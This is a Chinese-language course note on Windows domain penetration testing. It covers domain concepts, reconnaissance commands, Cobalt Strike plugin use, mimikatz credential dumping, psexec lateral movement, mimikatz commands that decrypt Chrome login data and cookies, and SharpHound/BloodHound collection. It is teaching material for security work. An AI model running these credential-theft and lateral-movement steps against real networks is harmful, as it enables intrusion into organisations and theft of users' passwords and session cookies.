目录
- 1. 内网渗透测试基础知识
- 1.1 内网渗透
- 1.2 网络的相关基础知识
- 局域网
- 工作组
- 域
- 单域
- 父域子域
- 域树
- 域林
- 域控(DC)
- 2. 信息收集
- 2.1 内网信息收集
- 查看当前用户、权限
- 查看网络配置信息
- 查看主机路由信息
- 查看操作系统信息
- 查看端口连接信息
- 查看当前会话列表
- 查看当前进程信息
- 查看计划任务
- 查看自启动信息
- WMIC命令获取杀软名
- 2.2 域内基础信息收集
- 判断是否存在域环境一些方法
- 查看域用户信息
- 查看域用户组信息
- 查看域内密码策略
- 查看域控制器列表
- 查看主域控制器
- 定位域控制器
- 查看域信任关系
- 2.1 内网信息收集
- 3. CS工具
- 3.1 CS插件演示
- 网络探针(net view)
- 端口扫描
- 查看结果
- 密码凭证获取
- 目标横向移动
- 3.1 CS插件演示
- 4. 域环境的一些基础知识
- 域控与连网服务器主机
- 域母盘环境
- 5. Chorme历史记录和Cookie获取
- 6. BloodHound工具用法步骤
1.内网渗透测试基础知识。
1.1内网渗透:内网渗透是指获取目标服务器控制权后,也就是利用我们之前所说的那些漏洞和方法进入到目标网站,到 达服务器内部网络。然后通过内网信息收集,内网代理,权限提升(纵向移动),横向移动等技术,对其所处的 内网环境进行渗透,并最终获取内网其他主机权限的过程:如域控制器(域控)、运维主机等等。
1.2网络的相关基础知识;
局域网:简单来说就是一定区域内的各种设备和数据库连接起来形成的计算机通信网。比如:家用wifi。
工作组:工作组(Work Group)是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的 组中,以方便管理。比如:高校、网吧。
如何来进行设置工作组:
域:通过工作组对局域网的计算机进行分类,可以使资源的管理和访问更加层次化。但是工作组只适用于网络 中计算机不多、资产规模较小、对安全管理控制要求不严格的情况。当一个公司或者企业的网络规模越来越庞大 时(达到几千甚至几万台主机服务器)这时候使用工作组管理又会显得比较混乱了,所以要使用域环境。
域又分为:单域、父域子域、域树、域林。
单域:网络环境中只有一个域。
父域子域:为了满足某些需求,需要在一个域中划分出多个域。被划分的域叫做父域,划分出来的分支 叫子域。
域树:多个域通过建立信任关系组成的一个域集合
域林:由一个或多个没有形成连续名字空间的域树组成的集合。
域控(DC):“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一 个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。域控制器中包含了由这个域的 账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台 电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正 确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护 的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上 的资源。
通过以上知识学习,我们明白了内网环境下域的基本概念和原理。接下来我们就要学习如何针对域环境 下的渗透。
生产环境中域控管理员的账号具有权限可以登录任意一台域内的主机和服务器,而域用户权限是比较低无 法在域成员主机上安装软件。
所以我们可以设想以下场景:
某个域用户需要使用viso软件进行绘图操作,于是联系管理员安装软件。管理员使用域管理员身份登录了 域成员主机,帮助他安装了viso软件。于是这个有一定计算机基础的员工,使用本地计算机的管理员身份执行 mimikatz(此命令是针对Windows系统获取密码),从内存中抓取了域管理员的密码,成功使用域管理员账号 控制了整个域。
因此域渗透的思路就是: 1,通过域成员主机,定位出域控制器IP及域管理员账号; 2,利用域成员主机作为跳板,渗透其他域成员; 3,利用域管理员可以登录域中任何成员主机的特性,定位出域管理员登录过的主机IP,设法从域成员主 机内存中dump出域管理员密码,进而拿下域控制器; 4,渗透整个内网。
2.信息收集
拿下域成员主机之后,如何定位出域控主机呢?又如何知道域控主机登录过那些机 器呢? 答案就是 ————> 域内信息收集!,由于域环境是独属于Windows系统微软的概念,linux系统没有域控。所以我们域内信息收集命令大都是 针对Windows系统(但是linux主机可以被添加为域成员)。
2.1内网信息收集
渗透的本质是信息收集。有效的信息收集可以大大缩短渗透测试的时间。当我们通过前面所学的知识和方法通过web网站写入一句话木马控制目标服务之后,需要以该服务器作为 跳板,对其内网环境进行渗透。 对于我们目前的这台主机:所在的网络位置、当前登录的用户、当前用户的权限、操作系统的信息、网络 配置信息以及当前主机运行的服务、进程信息等都是未知的。这就需要测试人员以当前主机为中心进行信息收 集!
1,查看当前用户、权限
whoami /all作用:查看当前用户以及当前用户所处的用户组、所拥有的特权等信息。 目的:可以对当前用户所拥有的特权有大致了解,并综合判断是否需要提升权限。
2,查看网络配置信息
ipconfig /all作用:查看当前主机的网络配置情况,包括主机的IP地址、主机名、网络适配器的信息等等 目的:判断当前主机所处的内网网段,可以通过工具扫描探测网段中存活的主机,精确范围。
3,查看主机路由信息
route print目的:路由表中“网络目标”都是主机可以直接访问的。根据列中几个重要的IP地址段,可以尝试探测其中存活 的主机。
4,查看操作系统信息
systeminfo目的:查看操作系统信息,包括当前主机的主机名、操作系统版本、系统目录、所处的工作站(域或工作组)、 各网卡信息、安装的补丁信息等。
5,查看端口连接信息
netstat -ano目的:查看当前主机的端口连接情况,包括当前主机的TCP、UDP等端口监听或开放状态,以及当前主机与网络 中其他主机建立的连接情况。
6,查看当前会话列表
net session目的:查看当前主机与所连接的客户端主机之间的会话。
7,查看当前进程信息
tasklist目的:根据进程列表确定目标主机的本地程序运行情况,并对目标主机上运行的杀毒软件进行识别。
8,查看计划任务
schtasks /query /v /fo list目的:查看当前主机上的所有计划任务。
9,查看自启动信息
wmic startup get caption,command,location,user目的:查看当前主机上所有的自启动程序信息,过滤出程序名称、所执行的命令、程序路径、所属用户 wmic是微软为Windows管理规范提供的一个命令行工具,提供从命令行接口和批处理脚本执行系统管理的支 持。
10,WMIC命令获取杀软名
获取杀软名:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List获取杀软名和安装路径:
WMIC /namespace:\\root\SecurityCenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExeWMIC命令介绍及详细使用: https://mp.weixin.qq.com/s/ofhMvuSQ04B41zAvQ6losw
2.2域内基础信息收集
1,判断是否存在域环境一些方法;
查看当前计算机名、用户名、系统版本、工作站、登录的域等信息
net config workstation输出当前域的时间(可用于判断当前用户是否处于域环境)
net time /domainnet user后面加上/domain 就能够返回所有域的用户信息
net user /domain当然了,很多命令都能够判断出是否处于域环境,这里只是列了几个命令。
2,查看域用户信息
查看所有的域用户
net user /domain查看指定域用户的详细信息
net user <username> /domain3,查看域用户组信息
列出域内所有的用户组
net group /domain查询域用户组,列所有的域用户
net group "domain users" /domain查询域管理员用户组和域管用户
net group "domain admins" /domain查询企业系统管理员组,列出所有的企业系统管理员用户
net group "Enterprise Admins" /domain在默认情况下,Domain Admins组和Enterprise Admins组中的用户对域内所有域控制器和域成员主机拥 有完全控制权限。
4,查看域内密码策略
可以根据密码策略构造字典,爆破域内其他机器。
net accounts /domain5,查看域控制器列表
查看域控制器,列出所有域控制器的主机名。
net group "domain controllers" /domain6,查看主域控制器
在域环境中,主域控制器会同时被用作时间服务器,使得域中所有计算机的时钟同步,所以通过查询时间服务 器来找到主域控制器的名称。
net time /domain7,定位域控制器
通过前面步骤知道主域控制器之后,对主机名执行ping命令,根据执行返回的内容即可知道目标主机在内网中 的IP地址。
ping 主域控制器名假如主机名为OWA2010CN-GOD.god.org
ping OWA2010CN-GOD.god.org如果发现返回ipv6地址,可在命令后面加上-4参数指定返回ipv4地址
ping OWA2010CN-GOD.god.org -4查看所有的IP地址配置信息(可根据返回值判断是否处于域环境)
域控制器往往在域内同时会用作DNS服务器,所以查看当前主机的DNS服务器地址也可以定位域控。
一般正常的本机用户是使用DNS解析的,如果受到DNS劫持就会有被攻击的风险。但是内网域不会存在 DNS劫持的问题,因为在域环境中可以直接使用域控去分配DNS服务器,通过这个域内的DNS去解析。
ipconfig /all8,查看域信任关系
域信任用于多域环境中的跨域资源共享。一般情况下一个域用户只能访问本域内的资源无法跨域访问其 他域的资源,而要想跨域访问就需要建立域信任。
查询当前主机所在域和其他域的信任关系。
nltest /domain_trusts以上部分主要介绍手工获取信息的命令,当然在实际的工作中也可以使用工具来获取主机的用户密码和 哈希值。这些工具大多是通过读取SAM文件或者访问 lsass.exe进程的内存数据等操作实现的,这些操 作大多需要管理员权限,这意味着需要配合一些提权操作,这些都可以通过CS插件中的一些工具来部分 实现:LSTAR,ladon,ola,taowu,谢公子等等。。。。 还有专门的域内信息收集的工具:BloodHound内网域渗透提权分析工具。
3.CS工具:
用户凭据(密码)收集:内网渗透中,当我们获取了某台机器的控制权后,会以被攻陷的主机为跳板进行横向渗透,进一步扩大 所掌握的资源范围。但是横向渗透中很多攻击方法都需要先获取到域内用户的密码和哈希值才能进行。 所以要尽可能的收集域内用户的登录凭据等信息。比如:计算机的操作系统密码,数据库密码,浏览器 密码,各大应用软件的密码信息等。
什么是hash值?
Hash算法是一个广义的算法,也可以认为是一种思想,使用Hash算法可以提高存储空间的利用率,可以 提高数据的查询效率,也可以做数字签名来保障数据传递的安全性。所以Hash算法被广泛地应用在互联网应用 中。 采用安全性高的Hash算法,如MD5、SHA时,两个不同的文件几乎不可能得到相同的Hash结果。因此,一 旦文件被修改,就可检测出来。
hash值的介绍:https://baike.baidu.com/item/Hash/390310?fr=ge_ala
3.1CS插件演示:
通过web网站漏洞写入一句话木马,然后通过菜刀、蚁剑、冰蝎、哥斯拉等木马利用工具连接上木马,把 CS码上传到目标服务器,运行上线!
1,网络探针(net view)
作用:探测内网环境下存活的主机
2,端口扫描
作用:扫描内网环境下对外开放的端口。
3,查看结果:打开“视图”,选择”目标“即可查看。4,密码凭证获取
使用CS中集成的mimikatz来进行密码的获取
选择”凭证提权“——>选择"抓取铭文密码"
运行时报错原因:权限不够解决方案: 使用CS插件提升权限
在新增的system会话中运行mimikatz,可直接获取用户凭据信息(域账号密码以及哈希值)
5,目标横向移动:
举例”mary“ 鼠标右键选择”横向移动“——>”psexec“
选择任意会话尝试横向移动,运气好的话可以直接使用当前的账号密码移动到其他主机上,从而扩大渗透的战 果!
#内网信息收集过程中会获取域内成员的账号:net user /domain
#利用域内账号密码通用性问题来尝试横向移动z这里只是演示了其中几种插件,插件中的其他用法,工具中都已经做了集成,在实际工作中可以根据具体的情况去做收集。
除了使用手工命令或者CS插件去收集各种内网环境信息之外,还需要知道内网环境下的网络结构信息:也 就是目标内网下的网络架构。这里需要使用BloodHound(猎犬)
作用:通过BloodHound工具可以看到内网环境下当前主机与域控之间的通信情况,并根据当前主机所处 的域内环境给出合理的渗透方案和渗透路线。
4.域环境的一些基础知识
1,域控与连网服务器主机
通常情况下只有一台域控主句与联网服务器主机。
域控主机:设置域内的主机的操作权限。比如通常都会设置传输,下载文件的时候需要域控的用户以及密码,就是为了防止有人操作不当传输,下载了带有恶意木马的文件。也就是说任何违规操作都会触发域控的登录,导致违规操作失效,从而防止有人违规给内网主机带来危害。并且域控可以强行控制域下的任意主机,比如修改用户的密码,或者修改主机的操作权限等等,也就是说域控对所有域控下的主机有着绝对的权限。
联网服务器主机:一般而言,一个域普便只有一台服务器主机能够上网,这是为了内网通信安全,以及方便管理。因为域环境下的主机都需要通过该服务器主机上网,有效的提高了安全。
2,域母盘环境
作用:创建一个通用的模块,有新增的主机时直接将模块套过去就可以正常使用,而不必用域控一个一个的设置新增的主机的用户名和密码以及设置该主机的操作的权限。
危害:此方法虽然提高了新增主机的设置流程效率,但是也提高了危害,因为这种方式生成的用户名和密码都带有相似性,容易被信息收集后采用爆破的方法破解其用户和密码。
4.Chorme历史记录和Cookie获取
假如浏览器存放cookie值和路径为:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1 %localappdata%\google\chrome\USERDA~1\default\cookies
chrome的用户信息,保存在本地文件为sqlite数据库格式
调用mimikatz工具
1,点击exe程序
2,进入该目录的cmd命令行执行命令。
Chorme历史记录
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exitCookie获取
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit如果熟悉windows命令也可以自己创建bat批处理文件,创建一个文本文档,输入windosw中一些获取内网信息的命令以及权限及看放的端口等等,然后把文件名后缀改为bat就可以了,然后只需要点击文件即可运行实现多行命令批量运行。
4.BloodHound工具用法步骤:调用这工具时要先安装数据库的依赖jdk文件。
1,将工具SharpHound.exe上传到目标主机。
2,通过命令行调用上传的工具,收集所有的信息。
执行命令。
SharpHound.exe -c all3,启动本地的Neo4j服务
cmd运行路径:D:\6666\三阶段课程\05、内网信息收集-25.3.31\工具和脚本\工具\liequan\neo4j-community-3.5.9\bin
启动命令:neo4j.bat console
4,首次启动需要到网页去修改密码:http://localhost:7474/
默认账号密码: neo4j neo4j
5,将收集好的内网信息的压缩包上传点击左上角的3条横杆打开目录就可以查看工具获取的各类信息。